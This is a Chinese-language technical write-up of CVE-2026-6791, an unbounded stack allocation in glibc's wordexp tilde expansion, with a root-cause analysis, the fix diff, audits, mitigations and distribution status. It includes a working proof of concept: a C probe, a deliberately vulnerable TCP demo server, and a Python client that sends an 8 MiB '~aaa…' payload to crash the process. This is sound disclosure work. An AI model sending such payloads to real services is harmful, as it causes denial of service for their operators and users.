CVE-2026-6791:8 MiB 输入击穿 glibc wordexp 栈
一条 8 MiB 的字符串,不需要账号、不需要权限,远程就能让进程 SIGSEGV。glibc 里活了二十四年的 wordexp,栽在一个 ~ 上。
一条 8 MiB 的字符串,不需要账号、不需要权限,远程就能让进程 SIGSEGV。glibc 里活了二十四年的
wordexp,栽在一个~上。
输入 ~ 后跟 8388608 个字符,GNU C Library 的 wordexp 在栈上一次性划出同等字节——分配尺寸等于输入长度,线程栈默认 8 MiB 上限就是崩溃阈值。CVE-2026-6791(GLIBC-SA-2026-0013)影响 glibc 2.2.3 至 2.43,触发不需要本地账号,只要应用把不可信字符串交给 wordexp,一条 8 MiB 请求就能让进程 SIGSEGV。
项 | 值 |
CVE | CVE-2026-6791 |
组件 | GNU C Library, |
类型 | 栈耗尽 / stack clash(unbounded alloca) |
CWE | CWE-121 |
CVSS 4.0 | 6.6 MEDIUM, |
影响版本 | 2.2.3 到 2.43 |
漏洞引入 | Vulnerable-Commit |
修复提交 |
|
公告 | GLIBC-SA-2026-0013,Public-Date 2026-06-22 |
报告者 | storm(GLIBC-SA 公告 Reported-by) |
一、展开链最前段的 tilde
wordexp 是 POSIX.2 定义的展开函数,把一串输入按 shell 词法展开成单词数组:变量替换、通配符、命令替换(需显式开 WRDE_NOCMD 之外的模式)以及 tilde 展开。展开顺序沿用 shell 的既定次序,tilde 展开发生在变量展开、命令替换、算术展开与字段切分之前。~user/path 会在展开链的最前段被替换成 user 家目录拼接的绝对路径,we_wordv[0] 直接承载结果。
parse_tilde 在 posix/wordexp.c 里有两个调用点,都作用于未经后续处理的原始输入段:
来源:posix/wordexp.c(glibc-2.42,未修复)

来源:posix/wordexp.c(glibc-2.42,未修复)

主入口对每个词尝试展开;变量值内嵌入口多了一层 if (quoted || exp_len) break;——只有引号内或已展开出内容时才跳过 tilde 分支。两个入口拿到输入后都不做长度规范化,parse_tilde 看到的是"从 ~ 之后到下一个终止字符"的原始窗口。WRDE_NOCMD 之类的标志位只影响命令替换分支,对 tilde 展开没有约束力——复现探针里开 WRDE_NOCMD 只是避免任何命令路径的干扰,崩溃路径完全由 tilde 分支单独承载。
二、parse_tilde 的无上限窗口
parse_tilde 先判断 ~ 是否处于词首,再进入用户名截取循环,循环的唯一终止条件是 :、/、空格、制表符或串尾:
来源:posix/wordexp.c(glibc-2.42,未修复)
for (i = 1 + *offset; words[i]; i++)
{
if (words[i] == ':' || words[i] == '/' || words[i] == ' '
|| words[i] == '\t' || words[i] == '\0' )
break;
if (words[i] == '\\')
{
*word = w_addchar (*word, word_length, max_length, '~');
return *word ? 0 : WRDE_NOSPACE;
}
}
if (i == 1 + *offset)
{
/* Tilde appears on its own */
char* home;
home = getenv ("HOME");
...
}
else
{
/* Look up user name in database to get home directory */
char *user = strndupa (&words[1 + *offset], i - (1 + *offset));
struct passwd pwd, *tpwd;
int result;
struct scratch_buffer tmpbuf;
scratch_buffer_init (&tmpbuf);
while ((result = __getpwnam_r (user, &pwd, tmpbuf.data, tmpbuf.length,
&tpwd)) != 0
&& errno == ERANGE)
if (!scratch_buffer_grow (&tmpbuf))
return WRDE_NOSPACE;
if (result == 0 && tpwd != NULL && pwd.pw_dir)
*word = w_addstr (*word, word_length, max_length, pwd.pw_dir);
else
{
*word = w_addchar (*word, word_length, max_length, '~');
if (*word != NULL)
*word = w_addstr (*word, word_length, max_length, user);
}
scratch_buffer_free (&tmpbuf);
*offset = i - 1;
}
return *word ? 0 : WRDE_NOSPACE;输入 ~ 后跟 8 MiB 个 a,循环一路扫到串尾,i - (1 + *offset) 就是 8 MiB。没有长度上限,没有对窗口大小的任何约束。strndupa 调用发生在 __getpwnam_r 之前——即使该用户名在用户数据库中不存在(查库必然失败),用户名副本也已经完成栈分配;无效用户名不会让分配消失,只会让崩溃稍晚一点。输入中不需要存在真实用户,只要 ~ 后面跟一串没有终止符的字符,分配就是全额发生的。
三、strndupa:strnlen 直通 __builtin_alloca
strndupa 是 /usr/include/string.h 第 211 行的 GNU 扩展宏,同一族还有第 201 行的 strdupa:
来源:string/string.h(glibc-2.42)

展开链是:strnlen 量出实际长度(不超过 n,这里 n 本身又是窗口长度)→ __builtin_alloca (__len + 1) 在栈上划出 __len + 1 字节 → memcpy 搬入。传给 alloca 的量与输入长度线性相关,无符号比较也没有截断,纯线性映射。
__builtin_alloca 在 x86-64 上最终落到一条 sub rsp, imm。它不经过堆分配器,没有返回值可检查,也没有 NULL 概念。malloc 失败可以通过返回值判断,alloca 失败在语义上不存在——栈指针被直接压到映射之外,直到下一笔栈访问才爆发出 SIGSEGV。strdupa 连长度参数都没有,等价于 alloca (strlen (s) + 1),危险程度更高;parse_tilde 用的是带上限参数的 strndupa,但那个"上限"就是窗口长度本身——strnlen (__old, (n)) 里的 n 来自用户输入,上限和实际量重合,起不到约束作用。
宏的"安全长度参数"在调用点被喂进的是不可信值,这正是本漏洞的语法层根源。
四、__libc_alloca_cutoff 的 1/4 栈阈值
glibc 内部并非没有"大分配该走堆"的惯例。include/alloca.h 声明了 __libc_alloca_cutoff 接口,实现在 nptl/alloca_cutoff.c:

![]()
__libc_alloca_cutoff 的语义比"65536 常量"更精细:阈值取 min(65536, 当前线程栈大小 / 4)。线程栈的 1/4 是可变长度分配可以占用的栈空间上限;主线程在线程库初始化前 stackblock_size 为 0,走 ?: 兜底到 65536 * 4(256 KiB)。sysdeps/pthread/allocalim.h 里 __libc_use_alloca 还放行了 size <= PTHREAD_STACK_MIN / 4 的小分配。
glibc 内大量代码用 if (__libc_alloca_cutoff (len)) malloc(...) else alloca(...) 的显式分支处理可变长度数据。strndupa 宏没有这层判断,直接裸调 __builtin_alloca。parse_tilde 恰恰处在一个"输入长度完全由调用方字符串决定"的位置,等于把 glibc 内部多年遵循的 cutoff 惯例跳了过去——8 MiB 输入连 256 KiB 的兜底阈值都超出一大截,却依然被当成"小分配"压上栈。
五、8 MiB 转折点
线程栈容量由 RLIMIT_STACK 决定。主线程默认软限 8192 KiB(ulimit -s 输出即此值),对应 8388608 字节。栈映射从高地址向低地址增长,下限大约位于栈顶减去 8388608 字节处;越界访问会落在无映射或 guard 区域,内核拒绝继续扩展栈,进程收到 SIGSEGV。
输入长度与栈余量之间的数量关系直接决定生死:
- 输入 8,000,000 字节:
alloca划出 8,000,001 字节,从栈顶到新rsp的距离比 8388608 的上限小 388,607 字节,memcpy 全程仍在可增长范围内,函数正常返回。 - 输入 8,388,608 字节:
alloca划出 8,388,609 字节,新rsp已经越过映射下限,后续第一笔栈访问即崩溃。
这两个输入只差 388,608 字节,结果从"正常返回一个包含 800 万字符的字符串"跳到"SIGSEGV",转折点精确落在 8388608 上——不是某个魔法常量,而是 RLIMIT_STACK 的默认值本身。把用户名长度喂给 alloca,栈增长量就等于输入长度,线程栈上限就是攻击面。
六、复现:2.36 对照 2.43-4
复现环境是 Kali Rolling:内核 6.19.11+kali-amd64,系统 glibc 2.43-4(已修复)。未修复对照组从 Debian bookworm 的 libc6 2.36-9+deb12u14 解包,用 ld-linux 显式指定 library path 隔离加载。隔离加载的意义在于:同一台机器、同一个探针二进制、同一个用户态环境,唯一变量是动态装载器拉进来的 glibc 版本——2.36 与 2.43-4 的 wordexp 行为因此可以并排对照,不需要重装系统 libc,也不污染宿主。
6.1 获取未修复 libc 并解包
# 下载 Debian bookworm 的 libc6 2.36-9+deb12u14(未修复 glibc)
cd ~/cve-2026-6791
apt download libc6=2.36-9+deb12u14 2>/dev/null || \
wget -q http://deb.debian.org/debian/pool/main/g/glibc/libc6_2.36-9+deb12u14_amd64.deb
# 解包到 ~/glibc-236,deb 保留在 ~/cve-2026-6791 作为来源凭证
dpkg-deb -x libc6_2.36-9+deb12u14_amd64.deb ~/glibc-236
# 验证装载器与 libc 本体就位
ls -l ~/glibc-236/lib/x86_64-linux-gnu/libc.so.6 \
~/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
6.2 探针与隔离运行 wrapper
探针把 ~ 后跟 N 个 a 交给 wordexp,fork 子进程隔离崩溃,主进程总能打印退出码:
/tmp/poc6791_one.c
#include <wordexp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
long n = argc > 1 ? atol(argv[1]) : 16000000L;
char *buf = malloc(n + 2);
if (!buf) return 2;
buf[0] = '~'; /* 触发 tilde 展开分支 */
memset(buf + 1, 'a', n); /* 用户名窗口 = n 字节 */
buf[n + 1] = 0;
wordexp_t we;
int r = wordexp(buf, &we, WRDE_NOCMD); /* WRDE_NOCMD 只关命令替换 */
printf("len=%ld wordexp=%d\n", n, r);
return 0;
}/tmp/wrap236.sh
#!/bin/bash
# 把探针二进制切到未修复的 glibc 2.36
exec /home/nl/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 \
--library-path /home/nl/glibc-236/lib/x86_64-linux-gnu "$@"编译并核对链接目标:
# 探针链接系统 libc,运行时由 wrapper 换装 2.36
gcc -O0 -o /tmp/poc6791_one /tmp/poc6791_one.c
chmod +x /tmp/wrap236.sh
ldd /tmp/poc6791_one
6.3 临界点扫描
# rc=139 即子进程 SIGSEGV;8,000,000 正常返回
~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 8000000
echo rc=$?
# 8,388,608 崩溃
~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 8388608
echo rc=$?
~/cve-2026-6791/wrap236.sh ~/cve-2026-6791/poc6791_one 16000000
echo rc=$?
临界点落在 8388608 上,与 RLIMIT_STACK 默认值精确重合。
6.4 gdb 现场:崩溃在 __getpwnam_r 的 call 压栈
命令块(gdb 直接加载 2.36 的 ld-linux,经 wrapper 参数进入探针)
gdb -batch \
-ex 'file /home/nl/glibc-236/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' \
-ex 'set args --library-path /home/nl/glibc-236/lib/x86_64-linux-gnu /tmp/poc6791_one 8388608' \
-ex run -ex 'p/x $rsp' -ex 'info proc mappings' -ex 'x/2i $pc'
rsp = 0x7fffff7fd5f0低于栈映射下限0x7fffff7ff000(栈顶0x7ffffffff000减 8 MiB),已完全越界;[stack]vma 只映射到0x7ffffffde000,越界区无映射。- 崩溃 RIP
0x7ffff7ecc0e8落在 libcr-xp代码段(0x7ffff7dff000-0x7ffff7f55000)内,反汇编是一条call指令。alloca 自身只是sub rsp,不访问内存;真正触发 fault 的是 alloca 之后的第一笔栈写入——call把返回地址压到已经越界的rsp上。这正是 stack clash 的典型形态:栈指针整体越过映射,而不是单帧内的越界写。 - 崩溃
call的下一行是mov $0x400,%ecx:0x400 = 1024正是scratch_buffer内联区长度,ecx是__getpwnam_r的第四个参数(缓冲区长度)。这证明崩溃点就是parse_tilde里strndupa之后对__getpwnam_r的 PLT 调用——分配、查库两步之间没有任何中间访问能先触发 fault,栈越界被压栈操作精确引爆。
backtrace 不可读是同一原因:帧链指针落在不可访问区,unwind 无从谈起。
6.5 修复版对照
命令块(不经过 wrapper,直接跑系统 glibc 2.43-4)
/tmp/poc6791_one 16000000
16,000,000 字节(约 15.3 MiB)输入在修复版下正常返回:wordexp 返回 0,不再 SIGSEGV。查库失败后用户名按字面保留的行为与新增回归测试 tst-wordexp-tilde.c 的断言一致(见第七节)。同一输入在 2.36 上 SIGSEGV,在 2.43-4 上完整返回,分水岭就是那条 strndupa 的替换。
6.6 修复版 32 MiB:nss-systemd 断言接管
把修复版探针输入继续加大,glibc 侧不再崩溃,但进程仍会中止——这一次来自 NSS 插件。实测临界落在 16 MiB 附近:16000000 正常返回,16777216 已触发同一断言;演示取 32 MiB。Kali 的 /etc/nsswitch.conf 把 passwd 指向 files systemd,__getpwnam_r 会进 nss-systemd 模块,systemd 的用户数据库实现内部对输入长度再做了一次 alloca:
# 系统 glibc 2.43-4 下把输入加大到 32 MiB:越过 nss-systemd 的 alloca 断言
/tmp/poc6791_one 32000000
echo rc=$?
nss-systemd 的 _nn_ 是待查用户名长度,ALLOCA_MAX 是它自己的 alloca 上限常量。它的处理方式恰好是 strndupa 缺少的那一半:用断言把超长分配拦在发生之前。这条路径只在本机 NSS 配置含 systemd 时可达(Debian/Ubuntu 系常见),文件型 NSS 没有这一层;它也不构成安全绕过,失败直接 abort,是比 stack clash 更早、更明确的失败形态。作为对照,它说明"按输入长度 alloca"这一模式在用户态 NSS 生态里仍有残留,修 glibc 一个点不等于整条调用链上所有 alloca 都安全。
七、strndupa 换 scratch_buffer
上游修复提交 07c24f35392b727e6100d33edfdf811a6c68c218(Adhemerval Zanella 于 2026-04-14 提交;公告 Public-Date 2026-06-22)把 strndupa 换成 scratch_buffer,并且复用了原本就为 __getpwnam_r 准备的缓冲区——用户名与查库工作区共用同一块 scratch buffer:
来源:修复提交 07c24f35(sourceware 镜像:https://sourceware.org/cgit/glibc/commit/?id=07c24f35392b727e6100d33edfdf811a6c68c218 )
--- a/posix/wordexp.c
+++ b/posix/wordexp.c
@@ -335,17 +335,29 @@ parse_tilde (char **word, size_t *word_length, size_t *max_length,
else
{
/* Look up user name in database to get home directory */
- char *user = strndupa (&words[1 + *offset], i - (1 + *offset));
- struct passwd pwd, *tpwd;
- int result;
+ size_t userlen = i - (1 + *offset);
+ /* tmpbuf contains both the user and the __getpwnam_r working area. */
struct scratch_buffer tmpbuf;
scratch_buffer_init (&tmpbuf);
+ if (!scratch_buffer_set_array_size (&tmpbuf, userlen + 1, 1))
+ return WRDE_NOSPACE;
+ char *user = tmpbuf.data;
+ memcpy (user, &words[1 + *offset], userlen);
+ user[userlen] = '\0';
- while ((result = __getpwnam_r (user, &pwd, tmpbuf.data, tmpbuf.length,
+ struct passwd pwd, *tpwd;
+ int result;
+ while ((result = __getpwnam_r (user,
+ &pwd,
+ tmpbuf.data + userlen + 1,
+ tmpbuf.length - userlen - 1,
&tpwd)) != 0
&& errno == ERANGE)
- if (!scratch_buffer_grow (&tmpbuf))
- return WRDE_NOSPACE;
+ {
+ if (!scratch_buffer_grow_preserve (&tmpbuf))
+ return WRDE_NOSPACE;
+ user = tmpbuf.data;
+ }scratch_buffer 是 glibc 提供的"小数据走栈、大数据走堆"的缓冲设施:scratch_buffer_init 先在栈上放一个定长内联区(默认 1024 字节),超过内联容量时 scratch_buffer_set_array_size / scratch_buffer_grow_preserve 转用 malloc,并保证旧内容被保留。修复后 parse_tilde 的栈占用是常量:内联区 1024 字节,与用户名长度无关。分配失败的出口是 WRDE_NOSPACE——POSIX wordexp 规定的"内存不足"错误码,语义上比悄无声息的 SIGSEGV 干净得多。
__getpwnam_r 的 ERANGE 重试循环也从"每次都 grow"改成 grow_preserve:因为缓冲区头部现在存着用户名,grow 只扩容不保留内容,会毁掉 user 字符串;grow_preserve 在 realloc 后保留数据,且 user = tmpbuf.data 重新取回可能移动过的指针。修复提交还新增 posix/tst-wordexp-tilde.c,用 test-container 规避系统 NSS 模块干扰,覆盖六条路径:
test_known_user:~/rest解析成已知用户家目录/home/root/rest;test_bare_tilde:裸~落到HOME(测试容器内固定为/home/tilde);test_unknown_user:1 MiB 未知用户名~AAA.../rest按字面保留,不崩溃;test_tilde_with_append:~/加WRDE_APPEND仍展开为家目录并追加;test_long_username:2048 字节用户名~AAA.../走 scratch_buffer 扩容路径后完整保留字面;test_scratch_buffer_growth:512 KiB 栈的子进程里喂 1 MiB 用户名,不再 SIGSEGV。
八、glibc 内 strndupa 调用点审计
修复只动了 parse_tilde 一处,strndupa 宏在 glibc 其他位置仍有调用,多数不带守卫。对未修复 glibc-2.42 源码树做全量扫描:
# 在 glibc 源码树里列出全部 strndupa 调用点
cd ~/cve-2026-6791/glibc-glibc-2.42
grep -rn "strndupa" --include="*.c" --include="*.h" . | grep -v -E "test|tst-|benchtests" 
危险判据只有一条:分配长度是否由外部可控输入决定。逐一过:
posix/wordexp.c:338正是parse_tilde里那条strndupa——~user前缀的用户名段长度由输入串决定,且此处没有__libc_use_alloca守卫,超长时直接在栈上划出i - (1 + *offset)字节,是本批调用点里最直接的攻击面;putenv.c:68的name_end - string来自环境变量名,长度不受__MAX_ALLOCA_CUTOFF约束,但环境变量总大小受ARG_MAX限制;且该调用点带__libc_use_alloca守卫,超限会走__strndup堆分配兜底,不裸 alloca;rtld.c:1884的file_size - (problem - file)来自装载器读入的 ELF 文件内容,动态链接器在用户态可达,长度随文件大小变化——这属于需要警惕的位置;servicescache.c:324、gconv_conf.c:314、wcsmbsload.c:140类调用点的长度来自/etc/services、gconv 配置、iconv 名称等系统配置,通常受文件长度与既有上限约束;hurdsocket.h:28是 Hurd 专用路径。
parse_tilde 是这批调用点里少数把"外部输入长度"直接映射为"栈分配量"且没有任何辅助上限的位置。审计同类宏时,strnlen (s, n) 里的 n 若来自不可信数据,宏的"安全长度参数"就名存实亡。
九、导入 wordexp 的二进制
wordexp 是 GLIBC_2.2.5 时代的老符号,导入它的程序并不少。对 Kali 的 /usr/bin /usr/sbin /bin /sbin 做动态符号扫描:
# 列出动态符号表里导入 wordexp 的 ELF
find /usr/bin /usr/sbin /bin /sbin -maxdepth 1 -type f -executable \
| xargs -P 8 -I{} sh -c 'readelf -Ws "{}" 2>/dev/null | grep -qw wordexp && echo "{}"'
btmgmt、obexctl、bluetoothctl 是 BlueZ 工具链,ifup 是网络配置脚本前端。导入符号不等于攻击面成立:是否可触发取决于程序是否把外部可控字符串送进 wordexp。但这份列表给出真实的核查起点——对这类调用方,输入若来自命令行参数、DBus 属性或配置文件且无长度校验,同样的 8 MiB 字符串就能把进程打到 SIGSEGV。CVSS 的 AV:N 来自应用层:服务端把用户可控的路径/文件名传给 wordexp 时,攻击者不需要本地账号。AC:H 与 VA:H 对应了"需要应用确实把不可信输入送进 wordexp"与"一旦触发即进程级 DoS"。PR:N/UI:N 意味着触发不依赖任何前置条件与交互。
十、远程触发:fork 隔离 TCP demo
把 AV:N 落地成一个可复现形态:一个 TCP 服务把每个连接读入的一行原样交给 wordexp,请求在 fork 出的子进程里展开,子进程栈耗尽崩溃时不拖垮服务进程。源码刻意保持精简——监听、读一行、fork、wordexp、waitpid,五个动作之外没有任何逻辑。
/tmp/wordexp_http_demo.c
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <wordexp.h>
#define PORT 19100
static void serve(int cfd) {
size_t cap = 32 * 1024 * 1024; /* 输入上限,演示可调 */
char *buf = malloc(cap);
if (!buf) { close(cfd); return; }
ssize_t n = read(cfd, buf, cap - 1); /* 阻塞读请求 */
if (n <= 0) { close(cfd); free(buf); return; }
buf[n] = 0;
if (buf[n - 1] == '\n') buf[n - 1] = 0;
pid_t pid = fork(); /* 子进程执行,崩溃不拖垮服务 */
if (pid == 0) {
wordexp_t we;
int r = wordexp(buf, &we, WRDE_NOCMD);
dprintf(cfd, "wordexp=%d we_wordc=%zu\n", r, we.we_wordc);
_exit(0);
}
int st;
waitpid(pid, &st, 0); /* 回收崩溃状态,继续服务 */
close(cfd);
free(buf);
}
int main(void) {
int lfd = socket(AF_INET, SOCK_STREAM, 0);
int one = 1;
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(PORT),
.sin_addr = htonl(INADDR_ANY) };
if (bind(lfd, (struct sockaddr *)&a, sizeof a) || listen(lfd, 8)) {
perror("bind/listen");
return 1;
}
fprintf(stderr, "listening on :%d\n", PORT);
for (;;) {
int cfd = accept(lfd, 0, 0);
if (cfd < 0) continue;
serve(cfd);
}
}# 编译远程 demo 并启动服务
gcc -O0 -o /tmp/wordexp_http_demo /tmp/wordexp_http_demo.c
/tmp/wordexp_http_demo
# 三次请求:正常展开 → 8 MiB 击穿 → 崩溃后新连接照常展开
python3 - <<'EOF'
import socket
def req(data):
s = socket.create_connection(("127.0.0.1", 19100), timeout=10)
try:
s.sendall(data)
print(s.recv(4096))
except Exception as e:
print(repr(e))
finally:
s.close()
req(b"~/x\n")
req(b"~" + b"a" * 8388608 + b"\n")
req(b"~/x\n")
EOF
第一段:~/x 在子进程里展开成家目录,we_wordc=1 正常返回。
第二段:8 MiB 输入让子进程在 parse_tilde 的 strndupa 处耗尽栈,SIGSEGV 后内核关闭该子进程持有的 socket 副本并向客户端发 RST,对端 recv 抛 ConnectionResetError([Errno 104])——不是优雅断开,是崩溃的痕迹。
第三段:waitpid 回收状态后服务进程继续 accept,新连接照常展开。fork 隔离把进程级崩溃转成了连接级失败。
这个形态揭示两层:有 fork 隔离的实现,每个恶意连接消耗一个崩溃的子进程,形成资源耗尽型 DoS;把 wordexp 直接跑在服务主线程的实现,一条 8 MiB 请求就让整个服务 SIGSEGV。崩溃阈值受 RLIMIT_STACK 继承值控制——服务启动前调大 ulimit -s 只抬高门槛,"输入长度 = 栈增长量"的线性关系不变。CVSS 的 AV:N 与 VA:H 在此落地:远程客户端无需本地账号,仅凭一条超长 tilde 输入即可令任意请求处理线程崩溃。
十一、检测与缓解
先确认系统 glibc 是否已修复:
# 检测系统 glibc 版本:包版本与运行时版本两处都是 2.43-4
dpkg -l libc6 | tail -n 1
ldd --version | head -n 1
其余层排布:
- 应用侧:审查所有
wordexp调用点的输入来源,对不可信路径/文件名先做长度上限校验(例如拒绝超过 1 MiB 的输入),或直接禁用 tilde 展开路径。wordexp的输入按 shell 词法解释,调用方对输入来源负有全部责任。 - 静态审计:在代码库中定位调用点并核对输入来源(命令见第八节)。
- 运行时:
-fstack-clash-protection编译应用会让大 alloca 触发编译器插入的探测循环。GCC 的探测序列把当前rsp与"最近探测点"之间超过一页(4 KiB)的跨度用sub rsp, 0x1000分步推进并逐页访问,任何一步越界都会在探测指令上崩溃,而不是在函数体内任意位置。它把崩溃点提前到可诊断的指令,降低"悄悄越界写"的利用价值,但不消除可用性损失——DoS 结果不变。 - 系统层:升级 glibc 到修复版本是唯一根治手段。
ulimit -s调大只能抬高崩溃阈值,不能消除输入长度与栈增长量的线性关系。
十二、发行版修复状态
发行版 | 状态 |
Kali Rolling | 修复(2.43-4,本机验证通过) |
Debian bookworm 12 | 受影响(2.36-9+deb12u14,postponed) |
Debian trixie 13 | 受影响(2.41-12+deb13u4,no-dsa) |
Debian unstable / sid / forky | 修复(2.43-3 / 2.43-7 / 2.43-6) |
Ubuntu 22.04 jammy | 修复(2.35-0ubuntu3.15) |
Ubuntu 24.04 noble | 修复(2.39-0ubuntu8.9) |
Ubuntu 26.04 resolute | 修复(2.43-2ubuntu2.4) |
RHEL 8 / 9 / 10 | 受影响(官方 Affected / Fix deferred);Hardened Images 已修复(RHSA-2026:53069) |
openSUSE | glibc 2.44-1.1 修复(openSUSE-SU-2026:11660-1,同批修复 CVE-2026-6368) |
引用来源
- CVE Record: CVE-2026-6791 — https://www.cve.org/CVERecord?id=CVE-2026-6791
- oss-security: GLIBC-SA-2026-0013(2026-08-11)— https://openwall.com/lists/oss-security/2026/08/11/3
- glibc 上游修复提交 07c24f35392b727e6100d33edfdf811a6c68c218 — https://sourceware.org/cgit/glibc/commit/?id=07c24f35392b727e6100d33edfdf811a6c68c218
- Bugzilla 34091(wordexp: unbounded alloca in parse_tilde)— https://sourceware.org/bugzilla/show_bug.cgi?id=34091
- glibc 源码 posix/wordexp.c(glibc-2.42,未修复)— https://sourceware.org/cgit/glibc/tree/posix/wordexp.c?id=glibc-2.42
- Debian security tracker: CVE-2026-6791 — https://security-tracker.debian.org/tracker/CVE-2026-6791
- Ubuntu USN-8737-1 / USN-8737-2(glibc 修复)— https://ubuntu.com/security/notices/USN-8737-1
- openSUSE-SU-2026:11660-1(glibc 2.44-1.1,LWN 转载公告全文)— https://lwn.net/Articles/1092638